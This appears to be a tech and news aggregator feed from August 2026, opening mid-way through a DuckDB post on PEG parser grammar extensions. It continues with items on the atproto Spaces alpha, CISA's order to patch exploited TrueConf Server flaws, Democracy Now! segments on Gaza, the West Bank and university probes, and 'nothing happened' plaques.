By registering this alternative, the resulting grammar is effectively:

SelectAtom <-
    PipeSelectAtom /
    SelectParens /
    SelectStatementType

The extension alternative is now tried first. If no pipe syntax is present, it fails without consuming any tokens and the query is parsed with the built-in alternatives.

Transforming the Result

Adding a grammar rule only gets us as far as a ParseResult . The extension still needs to transform that result into the DuckDB AST that is expected by the binder. Since PipeSelectAtom extends SelectAtom , its transformer returns a SelectStatement :

static unique_ptr<SelectStatement>
TransformPipeSelectAtom(PEGTransformer &transformer, ParseResult &parse_result) {
    auto &pipe = parse_result.Cast<ListParseResult>();

    // PipeSelectAtom <- PipeSource PipeStage+
    auto statement = TransformPipeSource(transformer, pipe.GetChild(0));

    auto &stages = pipe.Child<RepeatParseResult>(1);
    for (auto &stage : stages.GetChildren()) {
        ApplyPipeStage(transformer, stage.get(), *statement);
    }

    return statement;
}

The shape of the ParseResult follows the grammar rule we defined earlier. PipeSelectAtom contains a PipeSource and one or more PipeStage s. We first transform the PipeSource into a DuckDB SelectStatement . Each PipeStage is then applied to that statement in order. The resulting SelectStatement is then returned and can continue through the rest of the parser's pipeline and eventually on to the binder.

This is where reusing DuckDB's existing grammar becomes especially useful. The extension only needs to transform the new syntax it introduced. When it reuses an existing DuckDB grammar rule, such as GroupByClause , it can also reuse the corresponding transform function instead of having to implement GROUP BY itself.

This is an important difference from the fallback parsers that are available today. An extension no longer needs to implement expressions, table references, GROUP BY clauses, and the rest of SQL itself. Instead, it can add only the syntax it needs and reuse DuckDB’s grammar and transformations for everything else.

Executing Pipe SQL

With the extension registered, we can now execute queries using the new pipe syntax. For example, we can combine the pipe operators added by the extension with existing DuckSQL features such as range() and prefix aliases:

FROM range(6) t(i)
  |> WHERE i % 2 = 0
  |> SELECT i, doubled: i * 2
  |> ORDER BY i DESC;
┌───────┬─────────┐
│   i   │ doubled │
│ int64 │  int64  │
├───────┼─────────┤
│     4 │       8 │
│     2 │       4 │
│     0 │       0 │
└───────┴─────────┘

The extension only defines the pipe-specific syntax. Expressions, table references, WHERE , SELECT , ORDER BY , and other reused rules are still parsed and transformed by DuckDB itself. This means that new syntax can be combined with DuckSQL without the extension having to implement the rest of SQL again.

To Conclude

With DuckDB v2.0, we are replacing the PostgreSQL-derived parser with a new PEG parser. Existing DuckSQL queries should continue working as before. Under the hood, however, the new parser gives us something that is easier to evolve and designed for runtime extensibility.

The runtime grammar extension API shown in this post is still a preview and may change before v2.0 is released. However, the underlying idea is already working. Extensions can add their own syntax directly to DuckDB's grammar while reusing its existing rules and transformations. This means they no longer need to parse the rest of SQL themselves.

We are excited to see what new syntax the community will create. In the meantime, we will continue evolving DuckSQL and improving the parser.

If you do find an existing query that behaves differently with the PEG parser, please let us know by filing an issue .

Recent Posts

Reconciling JSON in DuckDB, One Patch at a Time

Reconciling JSON in DuckDB, One Patch at a Time

Mustafa Khan

A Preview of DuckDB v2.0

A Preview of DuckDB v2.0

Mark Raasveldt and Hannes Mühleisen

Thank You for 40&nbsp;000 Stars on GitHub

Thank You for 40 000 Stars on GitHub

All blog posts

How Trump Admin Weaponized "Antisemitism" Probes to Dismantle Higher Education "Brick by Brick"

Democracy Now!
www.democracynow.org
2026-08-21 08:49:59
Haley Van Erem, a former career attorney in the Justice Department’s Civil Rights Division, has filed a complaint claiming the Trump administration task force charged with investigating antisemitism pushed universities into massive settlements despite turning up little to no evidence of anti-J...
Original Article

Haley Van Erem, a former career attorney in the Justice Department’s Civil Rights Division, has filed a complaint claiming the Trump administration task force charged with investigating antisemitism pushed universities into massive settlements despite turning up little to no evidence of anti-Jewish discrimination on campus. Van Erem said in her complaint that the government’s probes into schools like Harvard, Brown and Columbia were “an unlawful process designed to achieve predetermined political goals.”

“Columbia affiliates, from the Board of Trustees down, have actually collaborated with the federal government in these sham investigations,” says Marianna Hirsch, professor emerita at Columbia University. “These were not probes into antisemitism accusations, but they were efforts to dismantle higher education brick by brick.” Columbia and Brown settled with the administration for $200 million and $50 million, respectively. Harvard refused to settle, and a judge threw out the case against the university.


Please check back later for full transcript.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Nothing Doing

Hacker News
www.futilitycloset.com
2026-08-21 08:40:10
Comments...
Original Article

Recess, County Galway, Ireland:

https://commons.wikimedia.org/wiki/File:Monument_to_nothing,_Recess_-_geograph.org.uk_-_381638.jpg
Image: Wikimedia Commons

Aspelt, Luxembourg:

https://commons.wikimedia.org/wiki/File:Aspelt_Plaque_Nothing_happened.jpg
Image: Wikimedia Commons

Bechyne, Czech Republic:

https://commons.wikimedia.org/wiki/File:Bechyn%C4%9B,_Z%C3%A1%C5%99e%C4%8D%C3%AD_481,_zde_v_tomto_dom%C4%9B.jpg
Image: Wikimedia Commons

(“In this house, no important person was born, lived, and most importantly did not die, and that is why we live well here.”)

Záblatí-Hlásná Lhota, Czech Republic:

https://commons.wikimedia.org/wiki/File:Hl%C3%A1sn%C3%A1_Lhota_(Z%C3%A1blat%C3%AD)_07.jpg
Image: Wikimedia Commons

(“Hlásná Lhota – a stone in whose surroundings nothing significant has demonstrably happened for several hundred years”)

Míšov, Czech Republic:

https://commons.wikimedia.org/wiki/File:M%C3%AD%C5%A1ov_-_Cimrman.jpg
Image: Wikimedia Commons

(“On 8 May 1915 in Míšov, the great Czech genius Jára Cimrman just barely missed being involved in something historically important.”)

O’Hungry’s Café, Old Town San Diego State Historic Park:

https://commons.wikimedia.org/wiki/File:On_This_Site_in_1897_Nothing_Happened_-_Sign_in_O%27Hungry%27s_Cafe_-_San_Diego_State_Historic_Park_-_San_Diego,_CA_-_USA_(6930668317).jpg
Image: Wikimedia Commons

York, Western Australia:

https://commons.wikimedia.org/wiki/File:On_this_site_in_1897_nothing_happened_(4525842700).jpg
Image: Wikimedia Commons

Villa de Leyva, Boyacá Department, Colombia:

https://commons.wikimedia.org/wiki/File:Villa_de_Leyva,_Colombia_02.jpg

(“On October 13, 1825, nothing happened in this house, nor was anyone important born.”)

Meet Loui Ridi: Palestinian American Returns to West Bank Home Besieged by Israeli Settlers

Democracy Now!
www.democracynow.org
2026-08-21 08:36:33
Loui Ridi, a Palestinian American man who lives in Ohio, traveled to the occupied West Bank on Monday to help relatives defend their family home in the village of Qusra, south of Nablus. Israeli settlers have surrounded the home, which Ridi owns, for more than a week. Settlers have besieged several ...
Original Article

Loui Ridi, a Palestinian American man who lives in Ohio, traveled to the occupied West Bank on Monday to help relatives defend their family home in the village of Qusra, south of Nablus. Israeli settlers have surrounded the home, which Ridi owns, for more than a week. Settlers have besieged several Palestinian houses in the village, trapping people inside and cutting off water and electricity in some cases.

“I’m not getting no protection here. I still fear for my life. I still fear for my family’s life here,” says Ridi, who joins Democracy Now! from the occupied West Bank. Ridi has raised an American flag on his home and reached out to the U.S. Embassy for help. “The IDF is not even making it better here. They’re not allowing us to leave the house. They’re not allowing anyone to come to my house freely,” says Ridi, explaining that getting food to the house takes “hours, if not days.”

The settlers “can act like this because of the active support from the Israeli government that gives them weapons, gives them ATVs,” says Israeli reporter Oren Ziv, who has traveled to Qusra twice in recent days. Ziv says the Israeli government also supports “the establishment of more and more [settler] outposts that are kind of front bases for these terror attacks.”



Guests
  • Loui Ridi

    Palestinian American whose family home in Qusra is under siege by Israeli settlers.

  • Oren Ziv

    reporter for +972 Magazine and Local Call .


Please check back later for full transcript.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

The Atproto Spaces Alpha is Live

Lobsters
atproto.com
2026-08-21 08:32:51
Comments...
Original Article

The biggest update to atproto since it first launched is available as an alpha that you can develop on, starting right now!

This project has been a long time coming, as evidenced by the many names it’s had (first private data , then permissioned data , briefly buckets , and now atproto spaces ). From early chatter on the forum , to the first development diary back in February, to the full proposal , the design of the protocol has evolved through the feedback, contributions, and discussion of the ecosystem. This is a big undertaking, not just for the Blueksy team but for the entire Atmosphere.

Recall that, by design, all data stored on the protocol today is public — every post, every follow, every like, every block . All of this data is stored on a distributed network of servers anyone can host that gets collated and rebroadcast by a global firehose anyone can tap into. This makes it possible to build high-scale applications like Bluesky and Tangled on a network that’s locked open.

There are, of course, features and entire products that rely on data that isn’t public. Settings, private bookmarks, forums ranging from dozens to millions of members, and subscription-only publishing apps all require a data model that isn’t fully public.

Spaces , a new protocol primitive, provide a way to store and sync non-public data while retaining the advantages of atproto like portable identity, interoperable/remixable data, and permissionless participation.

Today, we’re making the alpha available with running code, published SDKs, a sample app, and even a hosted PDS you can create an account on and develop against. This is truly an alpha. There will be breaking changes, and you absolutely should not run production code against it.

You can think of an atproto space as a miniature atproto network that can be gated so that only certain people and applications are able to access the data published in it. It may sound a little “heavy-duty” to say each space is a mini-atproto, but spaces are actually very lightweight and low overhead. A space can have a single record in it with minimal overhead or scale up to a billion records.

Apart from the space itself, things should feel familiar. Users have DIDs . Users host their data in their repositories . Records are JSON and defined by Lexicons . Applications sync repos and build views of the data.

Access to a space is controlled by a space authority, which is just a DID like any other account (and in some cases actually is your account!). The space authority determines which other DIDs are allowed to access the space. Records live in per-space permissioned repos on the author’s PDS.

It’s important to remember that spaces give you access control not confidentiality. The data in a space is readable by any user or application with access to that space, it’s not encrypted.

Spaces are a very flexible primitive, and the range of uses is deliberately broad. The smallest spaces will contain exactly one member and are useful for storing data like settings, drafts, bookmarks and other private data that an app might want to store. Spaces work for gated content as well, such as a publisher that wants to distribute a subscription-only publication. Where spaces really shine, and in some sense what they were designed for, is establishing a shared social context. In this capacity, the largest spaces will be communities that may grow to millions of participants.

The sync protocol for space data is significantly lighter-weight and provides facilities for real-time sync. This is because, unlike the public broadcast protocol, there is no concept of a relay for data stored in a space. For public data, the relay helps provide applications access to all of the data across the network. However for spaces, it’s often not desirable to rebroadcast content. Applications will sync space data directly from PDS hosts.

If you want to test out the protocol without running any infrastructure, you’re in luck! We’re hosting one for you and will keep it up to date with the latest changes.

Head over to your BPS account for an invite code and a link to the alpha PDS.

This is a shared sandbox and we intend to keep it usable. If you cause moderation problems, engage in unproductive abuse of the network, or otherwise try to use the PDS for purposes other than experimenting with spaces, you will be permanently banned from the alpha.

You should also expect the data stored in the PDS is neither permanent nor stable. The data model will change, we may even delete everything without warning. The PDS as a whole will be deleted after the alpha.

We plan to update the hosted PDS and SDKs on Thursdays. We’ll post changes to the announcements thread on atmosphere.community, please subscribe.

If you want to run your own PDS, we’ll maintain a tagged Docker image at ghcr.io/bluesky-social/atproto:pds-spaces-alpha with support for spaces. This image is compatible with the reference PDS distribution and does not require any new configuration.

THIS IS ALPHA SOFTWARE DO NOT USE IT IN PRODUCTION . Breaking changes will happen and database schemas may change without clean migrations. We strongly recommend that you do not migrate your real accounts to this version. Do not expect that you’ll even be able to cleanly upgrade between versions.

That said, do please use the new PDS with test data. Explore spaces and the kinds of applications you can build with them. Report bugs, let us know if you were expecting something to work one way and it turns out to work differently.

We’ve already seen a few ecosystem projects that have begun to implement the proposed spec:

Real protocols have many interoperating implementations, and it’s been amazing to see the ecosystem lead the way on this.

There’s an example app running at https://bulletin.my . This app lets you host a bulletin board (as a space!) that your mutuals can leave sticky notes on. Only your followers can see your board. The code is available https://github.com/bluesky-social/bulletin . Give it a run locally, or fork it and remix it into something new! If you have your own PDS implementation, try logging in and seeing if everything works as expected.

To support this, we released the TypeScript @atproto packages as alpha snapshot versions. These can be installed with the alpha tag. Check out the bulletin repo to see them in action.

If you want to dive deeper into the protocol, the latest version of the protocol specification can be found in the proposals repo . If you’re working on your own implementation of atproto spaces, this is the thing to collaborate around. We’ll keep the proposal up to date with the current reference implementation. If you find ambiguities or places where the implementation and proposal diverge, please open an issue.

The reference implementation can be found on the atproto spaces branch of the atproto repo. This branch is being actively developed and may temporarily diverge from the packages and PDS that are published.

As has already been mentioned several times, expect changes as we continue to develop the code. Specifically, this means:

  • The code has not undergone careful security review. Do not upload sensitive information. Not your own, and especially not anyone else’s.
  • We are not running backups, and we may do destructive data migrations. Do not upload content you are not willing to lose. There is no recovery path and we will not be able to make one for you.
  • The alpha PDS goes away at the end of the alpha. Accounts on it are not accounts you should encourage anyone to depend on. Do not point non-developer users at it.
  • The protocol design, SDKs, and database schema are not final. Anything you build will likely need revising.

We will continue to iterate and build tooling throughout the fall, with a goal of launching later this year. Follow the announcement post in the Atmosphere Community forum for updates on new builds, which we plan to drop on Thursdays.

Feel free to start building apps with test, non-production data against the hosted PDS. Or host your own PDS—either the reference implementation or one of the community-managed ones. Run the sample app or build your own. Report issues where you find them.

We are excited about the entire new class of applications atproto spaces enables and for developers to get their hands on the code.

CISA orders feds to patch actively exploited TrueConf Server flaws

Bleeping Computer
www.bleepingcomputer.com
2026-08-21 08:25:33
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) ordered U.S. federal agencies to prioritize patching two actively exploited vulnerabilities in the TrueConf Server self-hosted communications platform. [...]...
Original Article

CISA

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) ordered U.S. federal agencies to prioritize patching two actively exploited vulnerabilities in the TrueConf Server self-hosted communications platform.

TrueConf Server is designed for secure corporate messaging and video conferencing and, unlike cloud-based software like Zoom or Microsoft Teams, it operates inside an organization's local network (LAN).

The most severe is a critical missing authentication security flaw (tracked as CVE-2026-72529 ) that allows attackers without privileges to remotely execute arbitrary scripts on unpatched servers.

image

"A remote unauthenticated attacker connecting to TrueConf Server over 4307/TCP can invoke an undocumented critical function and execute an arbitrary script on the server," the TrueConf security team explains .

The second is another critical severity vulnerability ( CVE-2026-72530 ) that unauthenticated threat actors can exploit through high-complexity code injection attacks to gain remote code execution.

"Improper management of code generation can allow an attacker who has achieved code execution in the TrueConf Server isolated environment to escape the sandbox and execute arbitrary commands on the underlying operating system," TrueConf adds .

On Thursday, CISA added the two flaws to its KEV catalog and ordered U.S. Federal Civilian Executive Branch (FCEB) agencies to secure their servers within two weeks, by September 3.

"This type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise," the cybersecurity agency warned .

While CISA didn't share details on these attacks, cybersecurity company Kaspersky said the Head Mare hacktivist group has been exploiting CVE-2026-72529 and CVE-2026-72530 since at least July 2026 to replace client installers with malicious versions designed to deploy backdoor malware.

According to Kaspersky, multiple Head Mare campaigns targeted Russian organizations across various industry sectors, including transportation, energy, IT, electronics, and software development.

In April 2026, Check Point Research also reported that hackers were targeting another TrueConf flaw (CVE-2026-3502) in zero-day attacks dubbed "Operation True Chaos" and linked to Chinese threat actors, compromising users via trojanized client updates.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

As International Pressure Grows, Israel Finally Opens Probe into 2024 Killing of Hind Rajab in Gaza

Democracy Now!
www.democracynow.org
2026-08-21 08:15:11
Israel’s military on Wednesday admitted that its soldiers opened fire in January 2024 on a car trying to flee Gaza City following Israel’s evacuation orders. The car was carrying 5-year-old Palestinian Hind Rajab and six of her relatives. They were all killed, as were Palestine Red Cresc...
Original Article

This is a rush transcript. Copy may not be in its final form.

ANJALI KAMAT : This is Democracy Now! , democracynow.org. I’m Anjali Kamat.

On Wednesday, Israel’s military admitted for the first time that its soldiers opened fire on a car carrying 5-year-old Palestinian Hind Rajab along with her aunt, uncle and five of their children, as well as Palestine Red Crescent Society medics dispatched to rescue them. Israel’s army fired more than 300 bullets in the attack in January 2024. In Gaza City, Hind Rajab’s grandmother responded to the announcement.

HIND RAJAB : [translated] We, as Hind Rajab’s family, do not trust the judiciary of the state of Israel. We hope that justice will be delivered for the entire world. We appeal to the international justice system as a whole.

ANJALI KAMAT : The Israeli military said it would also investigate the killing of 15 Palestinian paramedics whose bodies and crushed emergency vehicles were recovered from a mass grave in Rafah in March 2025. This is Ghada al-Attar, the widow of Anwar al-Attar, one of the 15 medics. She spoke while holding the couple’s young daughter.

GHADA AL- ATTAR : [translated] The truth will not come, and the wound will keep bleeding. The pain is still the same. The loss grows day by day. Every time this girl gets older and asks me where her father is, and I can’t answer her, the wound grows deeper. He was the pillar and support of the family. He’s gone. The investigation won’t achieve anything.

ANJALI KAMAT : Israel said it would not investigate three other attacks on Gaza that killed eight workers from World Central Kitchen and Doctors Without Borders, and Israel made no mention of thousands of other incidents where Palestinian civilians were killed by Israeli forces.

For more, we go to Los Angeles, where we’re joined by Sharif Abdel Kouddous, award-winning journalist and the Middle East/North Africa editor at Drop Site News . He was correspondent on the Fault Lines documentary The Night Won’t End on Al Jazeera English that investigated the killings of civilians in Gaza by the Israeli military.

Sharif, welcome back to Democracy Now! Can you talk about why these investigations have been announced, why these two particular cases, and why now?

SHARIF ABDEL KOUDDOUS : Well, so, firstly, these were five incidents out of apparently 150 that were reviewed by the Israeli military. I think it’s not a coincidence that all five of these were among the most widely covered incidents of the war. They were documented in real time, and they were very prominent cases, mostly massacres. We don’t know what happened to the other 145 incidents that they apparently reviewed.

Now, the two incidents that you mentioned that are being referred to military police for criminal investigations, you know, this seems to be nothing more than political theater, to be honest. You know, as numerous Palestinian and international human rights groups have documented for years, Israel’s internal investigations into the criminal conduct of its own soldiers are fundamentally flawed, and they can’t be regarded as credible mechanisms for accountability. And they instead function primarily to shield Israel from international tribunals or prosecution abroad, rather than delivering any kind of justice. The Israeli human rights group B’Tselem has called these investigations a sham. It’s called them, quote, “a legal Iron Dome” to protect Israeli soldiers from international accountability.

And let’s remember that since the genocide began, Israel claims to have referred over a thousand incidents involving its soldiers to its fact-finding assessment mechanism, and, you know, it says it’s opened dozens of criminal investigations. There’s no comprehensive public accounting of the status or outcome of these investigations. There was a review by the NGO Action on Armed Violence of over 50 reported Israeli military probes. It found that 88% had been either closed or that a finding of wrongdoing — had been closed without a finding of wrongdoing, and they remained under review. Only one of them resulted in a prison sentence. So, you know, I think this is a lot more political theater, and it may be coming as Israel is coming under increasing international scrutiny, international criticism for the genocide in Gaza.

And finally, I’ll just say, it doesn’t matter what Israel says or what its investigation concludes in these two incidents. The responsibility for the murder of Hind Rajab and her family was well established long ago through multiple in-depth investigations by the media, by human rights groups, and the evidence is overwhelming. We know that an Israeli tank fired at least 335 rounds at a civilian car, at Hind Rajab, a 5-year-old, and six members of her family, from a range of just 13 to 23 meters away.

The Red Crescent, which had Hind on the phone for close to three hours, was waiting for approval to try and go rescue her. And finally, they get approval from the Israeli military. The Israeli military issues an approved route with a map. Two emergency workers with the Red Crescent go in an ambulance along that route. When they reach the destination, Israel fires a tank shell at them. It’s a direct hit and kills both of them and destroys the ambulance.

Then the Israeli military continuously lied afterwards. It repeatedly denied it had any tanks operating in the area, even though there’s clear satellite images that show multiple tanks in the area on that day, even though we hear a recording of Hind’s cousin Layan, 15-year-old Layan, saying there’s a tank right next to her, right before she starts screaming as a hail of bullets from the tank murders her. And then we have 5-year-old Hind, hours of recordings of her, saying also that there’s a tank right next to her, before her voice eventually fades away and she dies. So, we don’t need to wait for an Israeli investigation to know what happened here.

ANJALI KAMAT : Sharif, you’ve set that up so movingly. I want to turn to an excerpt of your Al Jazeera English documentary, The Night Won’t End , which takes an in-depth look at these attacks on civilians by the Israeli military in Gaza, including on Hind Rajab and her family. Let’s go to a clip.

SHARIF ABDEL KOUDDOUS : Eventually, relatives were able to reach the Red Crescent in Ramallah to see if their team in Gaza could send an ambulance.

OMAR AL- QAM : [translated] We received an appeal that the car had been targeted at Fares gas station in Gaza City.

SHARIF ABDEL KOUDDOUS : When Omar called, it was Layan who picked up.

OMAR AL- QAM : [translated] Hello, dear.

LAYAN HAMADEH : [translated] They are shooting at us.

OMAR AL- QAM : [translated] Hello.

LAYAN HAMADEH : [translated] They are shooting at us. The tank is next to me.

OMAR AL- QAM : [translated] Are you hiding?

LAYAN HAMADEH : [translated] Yes, in the car. The tank is next to us.

OMAR AL- QAM : [translated] Are you inside the car?

LAYAN HAMADEH : [screaming]

OMAR AL- QAM : [translated] Hello? Hello?

A girl dies while she’s on the phone with you. I disassociated. I reached a stage where I was just mentally cut off. I’m trained for situations like this, but when it involves a child, your emotions get all mixed up. After calling back the same number that Layan answered, the voice sounded different this time. So I asked her, “The girl that was speaking with me, where is she?” She told me, “She’s dead.” Who am I speaking with now? Hind.

HIND RAJAB : [translated] Hurry!

OMAR AL- QAM : [translated] Hide. Hide. Where are you exactly, in the car?

HIND RAJAB : Huh?

OMAR AL- QAM : [translated] Are you in the car?

HIND RAJAB : [translated] Yes.

OMAR AL- QAM : [translated] Hide under the seats. So you can’t be seen at all.

HIND RAJAB : [translated] OK.

SHARIF ABDEL KOUDDOUS : After a few minutes, Omar asked other colleagues to help and speak with Hind.

HIND RAJAB : [translated] The tank is next to me.

RED CRESCENT DISPATCHER : [translated] The tank is where?

HIND RAJAB : [translated] Next to me.

RED CRESCENT DISPATCHER : [translated] The tank is next to you?

HIND RAJAB : [translated] Yes.

RED CRESCENT DISPATCHER : [translated] Is it moving or still? Did anyone come out of it?

HIND RAJAB : [translated] It’s moving.

RED CRESCENT DISPATCHER : [translated] It’s moving?

HIND RAJAB : Mmm.

RED CRESCENT DISPATCHER : [translated] OK. Is it moving next to the car, behind the car or in front of the car?

HIND RAJAB : [translated] In front of the car.

RED CRESCENT DISPATCHER : [translated] The tank is coming toward you from the front of the car?

HIND RAJAB : [translated] Yes.

RED CRESCENT DISPATCHER : [translated] Is it very close?

HIND RAJAB : [translated] Very, very.

RED CRESCENT DISPATCHER : [translated] And it’s moving?

HIND RAJAB : [translated] Yes. Come get me.

SHARIF ABDEL KOUDDOUS : As the Red Crescent dispatcher spoke with Hind, colleagues were trying to get an ambulance to her, something that would require coordination with and approval by Israeli authorities.

HIND RAJAB : [translated] Ask anyone to come get me.

RED CRESCENT DISPATCHER : [translated] My love, believe me, God willing, the coordination will happen.

NEBAL FARSAKH : Usually, ambulances in the whole world, once they get the call, they directly dispatch the ambulances and send to save people’s life. Unfortunately, this is not the case in Gaza.

HIND RAJAB : [translated] Come get me.

NEBAL FARSAKH : Any area that there is Israeli occupation forces, Israel considered as it is a military zone. That means even if there is wounded people, people who are killed and need to be evacuated, we are completely denied access to these areas. And if any ambulance try to reach, it will be targeted. That’s why in order to be able to save Hind, we had to coordinate our safe access.

ANJALI KAMAT : That last voice was Nebal Farsakh, the spokesperson for the Palestinian Red Crescent, explaining how emergency medical teams in Gaza need to get clearance from Israeli authorities before going in to rescue Hind. They eventually do get clearance. Let’s turn back to the documentary The Night Won’t End to see what happened next.

SHARIF ABDEL KOUDDOUS : Finally, nearly three hours after requesting clearance, the Red Crescent says Israeli officials gave the approval for the ambulance to go to the scene, and provided this map with an approved route.

NEBAL FARSAKH : We had to wait almost three hours until the green light was given. So, they sent a map with a route, which means it identified exactly which route the ambulance should take. And once we received the green light, the ambulance was dispatched.

RED CRESCENT DISPATCHER : [translated] Oh, the best news in the world from Uncle Omar.

OMAR AL- QAM : [translated] Hind! Hanoud! In one minute the car will reach you. It’s just moving slowly. Yes, the Fares gas station. Where are you now?

PARAMEDIC : [translated] I’m coming up to the gas station.

SHARIF ABDEL KOUDDOUS : The two paramedics who started driving to the scene were Ahmed al-Madhoun and Yusuf Zeino. By the time they left, the sun had set.

OMAR AL- QAM : [translated] Can you see the car?

PARAMEDIC : [translated] I can’t see a thing here.

OMAR AL- QAM : [translated] Do you have your siren and flashing lights on?

PARAMEDIC : [translated] Just the lights, not the siren. Oh, there it is!

SHARIF ABDEL KOUDDOUS : The connection to the ambulance was lost right after that loud noise.

RED CRESCENT DISPATCHER : [translated] Hello, Hanoud? Hanoud? Are you OK?

HIND RAJAB : [translated] Yes.

RED CRESCENT DISPATCHER : [translated] Thank God. Thank God. She’s OK. Did they go down to her?

NISREEN QAWAS : They had to ask her, “Did you hear a bomb now? Did you hear anything around you?” And she said, “Yes, yes, I heard it.” Her “yes” means our colleagues who went to rescue her had died.

ANJALI KAMAT : That clip from the award-winning documentary The Night Won’t End . Sharif, as you said, so much about this case is very well known. Hind Rajab is one of the most visible victims of the genocide in Gaza. There’s even a feature — there’s even a film made about her, The Voice of Hind Rajab . Why now? What is so significant about — what is new about this new investigation? And how much does it have to do with the International Criminal Court’s investigation?

SHARIF ABDEL KOUDDOUS : I mean, it’s unclear why now. You know, I think it’s because Israel is coming under more international scrutiny. There’s more criticism of the genocide. There is more political pushback from its backers in the United States and Europe, or, you know, from some corridors of power within those countries. And also, when a state says that it’s investigating itself, this shields it from international law accountability, if those investigations are found to be credible. So, it may just be a push around that. And again, as you mentioned, these are — you know, the Red Crescent massacre, the aid worker massacre and Hind Rajab are among the two most high-profile incidents.

And I think we should talk about, you know, the massacre of the aid workers, the other case that they’re looking at. This was 15 Palestinian aid workers from the Red Crescent, from Civil Defense, that were massacred in Rafah in March of 2025, and their bodies were buried in a mass grave. The ambulances and the fire truck and the vehicles that they arrived in to the scene were flattened and buried alongside them. And in the aftermath of this, the Israeli military again lied about it and was forced to change its story several times following the discovery of the bodies and the vehicles in this mass grave and the emergence of video and audio recordings taken from the bodies of the dead aid workers from their phones.

The group Forensic Architecture and Earshot did an incredible report around this just a few months ago using video and audio recordings about the incident and open-source material, as well as satellite imagery and interviews with two of the survivors, and they reconstructed what happened. And essentially, what happened was, an ambulance went to a scene, they were fired on, and then a five-vehicle convoy of ambulances and a fire truck and the rest of the aid workers went to go and try and find them and rescue them. And Israeli soldiers, over the course of a couple of hours, fired nearly a thousand bullets, a thousand bullets at these aid workers. And the findings show that they were slowly approaching the vehicles on foot, the Israeli soldiers, walking while they were shooting, until they were as close as one meter away, and essentially executing these aid workers in cold blood from very — from point-blank range, essentially.

Then, as I mentioned, the Israeli military lied about it. They claimed initially that the vehicles advanced, quote, “suspiciously” towards the troops without their headlights on or without their emergency signals on. Then the video emerges, first published by The New York Times , showing the vehicles with their lights on. So they backtrack. They admitted that their soldiers from the Golani Brigade did fire on these aid workers, but they said that they had approached suspiciously and that — you know, they blamed it on poor night vision or something, that they couldn’t really see them. And then they doubled down and said that six of the 15 aid workers were found to be Hamas terrorists, you know, just kind of ridiculous statements. And then it said, you know, it buried them in a mass grave to prevent harm and clear the vehicles to prepare for civilian evacuation. I mean, I don’t know how people are supposed to take this seriously.

And as you mentioned, again, these are just two of the most high-profile incidents out of countless war crimes in Gaza. We’re talking about over 20,000 children killed. We’re talking about starving Palestinians being gunned down as they’re searching for food, of an unprecedented number of journalists killed, over 270, many of them, you know, openly assassinated. We’re talking about displaced families being bombed in their tents, of hospitals, nearly every hospital, being attacked, of mass graves being found in the courtyards of the hospitals afterwards, of the torture of prisoners, of sexual assault. I mean, we could go on and on. So, I don’t think that these investigations that were announced are anything more than political theater, and I don’t think anyone’s really taking them seriously.

ANJALI KAMAT : Sharif, last week was the one-year anniversary of the killing of Al Jazeera journalist Anas al-Sharif, along with five of his colleagues. And a collective of media workers called the Writers Against the War in Gaza have launched an online memorial to Anas and over 250 journalists who’ve been killed. It’s called “The Living Record” and includes testimonies from Palestinian journalists in Gaza remembering their slain colleagues and friends. As we talk about accountability and the possibility of it within Israel for Israel’s crimes in Gaza, your final thoughts on, you know, what is going on in terms of investigating the deaths of journalists in Gaza?

SHARIF ABDEL KOUDDOUS : I mean, very little is going on. What we’re seeing, and as was the case of Anas al-Sharif, one of the most prominent journalists to be openly assassinated, is that Israel has — keeps killing them in actually a more brazen way. Israel has reached the point where it is preemptively targeting journalists. So, it put Anas al-Sharif, for example, who was murdered on August 10th of last year in a media tent along with five of his colleagues outside of Shifa Hospital — it put Anas al-Sharif on a hit list in October of 2024, along with five other journalists from Al Jazeera, including our colleague at Drop Site News , Hossam Shabat, and it said that these are not terror — “these are not journalists; these are terrorists, these are militants. And we’re going to kill them.” And it has killed two of them. And after it killed them, it bragged about it. It bragged about killing this prominent journalist and said that this wasn’t a journalist. It said, “Don’t let the press vest fool you.” It did the same with Hossam Shabat. It just killed, during a so-called ceasefire, two brothers working for Al Jazeera, at different times, one a correspondent, one the cameraman, killed them both, called them both Hamas terrorists. So, it is not — there’s not even a semblance of an investigation. There is open bragging about the killing of these journalists.

And let me just say that that tribute site that was put together by Writers Against the War in Gaza is very moving. I would encourage many people to go to it. You can click. I think there’s, you know, over 50 now journalists who are profiled there. And you can listen to their colleagues, their mentors, their family members talk about them and discuss who they were and talk about their importance and what they meant to them. And so, it’s a very fitting tribute to these journalists in Gaza, Palestinian journalists, who have performed the most heroic act of journalism in our lifetime and should be remembered for their bravery.

ANJALI KAMAT : Sharif Abdel Kouddous is an award-winning journalist and the Middle East/North Africa editor at Drop Site News . Sharif, please stay with us. Coming up, we’ll look at how Israeli settlers are laying siege to the village of Qusra in the occupied West Bank.

[break]

ANJALI KAMAT : “Tama,” “Greed,” by the Palestinian oud musician Huda Asfour, performing in our Democracy Now! studio.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Felony charges for citizen deleting phone data at US Border

Hacker News
www.nytimes.com
2026-08-21 08:10:13
Comments...
Original Article

Please enable JS and disable any ad blocker

The road to ACID transactions in Cassandra 6

Lobsters
theconsensus.dev
2026-08-21 08:08:34
Comments...
Original Article

Cassandra is a compelling data system. It is one of extremely few vendor-neutral, open-source databases supporting a SQL-like query language with builtin sharding and builtin replication . A desirable combination. And a reason Cassandra has so many (large) users including Apple, eBay, Bloomberg, and Netflix.

